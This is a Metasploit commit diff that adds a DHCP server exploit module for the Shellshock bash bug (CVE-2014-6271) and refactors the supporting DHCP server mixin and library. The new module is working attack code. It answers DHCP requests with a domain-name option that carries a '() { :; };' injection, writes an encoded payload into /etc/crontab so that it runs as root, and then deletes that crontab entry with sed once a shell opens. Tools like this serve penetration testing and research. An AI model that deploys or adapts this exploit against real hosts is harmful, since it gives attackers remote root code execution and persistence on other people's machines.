Add DHCP server module for CVE-2014-6271

bug/bundler_fix
James Lee 2014-09-26 01:24:42 -05:00
parent 259a368577
commit 86f85a356d
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
5 changed files with 119 additions and 26 deletions

View File

@ -12,7 +12,24 @@ module Msf
module Exploit::DHCPServer
def initialize(info = {})
super
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive,
))
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
@dhcp = nil
end
@ -21,7 +38,7 @@ module Exploit::DHCPServer
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
print_status("Starting DHCP server") if datastore['VERBOSE']
@dhcp.start
add_socket(@dhcp.socket)
add_socket(@dhcp.sock)
@dhcp
end

View File

@ -19,6 +19,7 @@ OpDHCPServer = 0x36
OpLeaseTime = 0x33
OpSubnetMask = 1
OpRouter = 3
OpDomainName = 15
OpDns = 6
OpHostname = 0x0c
OpEnd = 0xff

View File

@ -31,6 +31,7 @@ class Server
self.myfilename << ("\x00" * (128 - self.myfilename.length))
source = hash['SRVHOST'] || Rex::Socket.source_address
self.domain_name = hash['DOMAINNAME'] || nil
self.ipstring = Rex::Socket.addr_aton(source)
ipstart = hash['DHCPIPSTART']
@ -151,6 +152,7 @@ class Server
end
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
attr_accessor :domain_name
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
@ -166,7 +168,7 @@ protected
wds = []
eds = [@sock]
r,w,e = ::IO.select(rds,wds,eds,1)
r,_,_ = ::IO.select(rds,wds,eds,1)
if (r != nil and r[0] == self.sock)
buf,host,port = self.sock.recvfrom(65535)
@ -198,19 +200,19 @@ protected
end
# parse out the members
hwtype = buf[1,1]
_hwtype = buf[1,1]
hwlen = buf[2,1].unpack("C").first
hops = buf[3,1]
txid = buf[4..7]
elapsed = buf[8..9]
flags = buf[10..11]
_hops = buf[3,1]
_txid = buf[4..7]
_elapsed = buf[8..9]
_flags = buf[10..11]
clientip = buf[12..15]
givenip = buf[16..19]
nextip = buf[20..23]
relayip = buf[24..27]
clienthwaddr = buf[28..(27+hwlen)]
_givenip = buf[16..19]
_nextip = buf[20..23]
_relayip = buf[24..27]
_clienthwaddr = buf[28..(27+hwlen)]
servhostname = buf[44..107]
filename = buf[108..235]
_filename = buf[108..235]
magic = buf[236..239]
if (magic != DHCPMagic)
@ -293,6 +295,8 @@ protected
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
pkt << dhcpoption(OpRouter, self.router)
pkt << dhcpoption(OpDns, self.dnsserv)
pkt << dhcpoption(OpDomainName, self.domain_name)
if self.servePXE # PXE options
pkt << dhcpoption(OpPXEMagic, PXEMagic)
# We already got this one, serve localboot file

View File

@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
'DefaultAction' => 'Service'
)
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
end
def run

View File

@ -0,0 +1,84 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection',
'Description' => %q|
When bash is started with an environment variable that begins with the
string "() {", that variable is treated as a function definition and
parsed as code. If extra commands are added after the function
definition, they will be executed immediately. When dhclient receives
an ACK that contains a domain name or hostname, they are passed to
configuration scripts as environment variables, allowing us to trigger
the bash bug.
Because of the length restrictions and unusual networking scenario at
time of exploitation, we achieve code execution by echoing our payload
into /etc/crontab and clean it up when we get a shell.
|,
'Author' => [ 'egypt' ],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end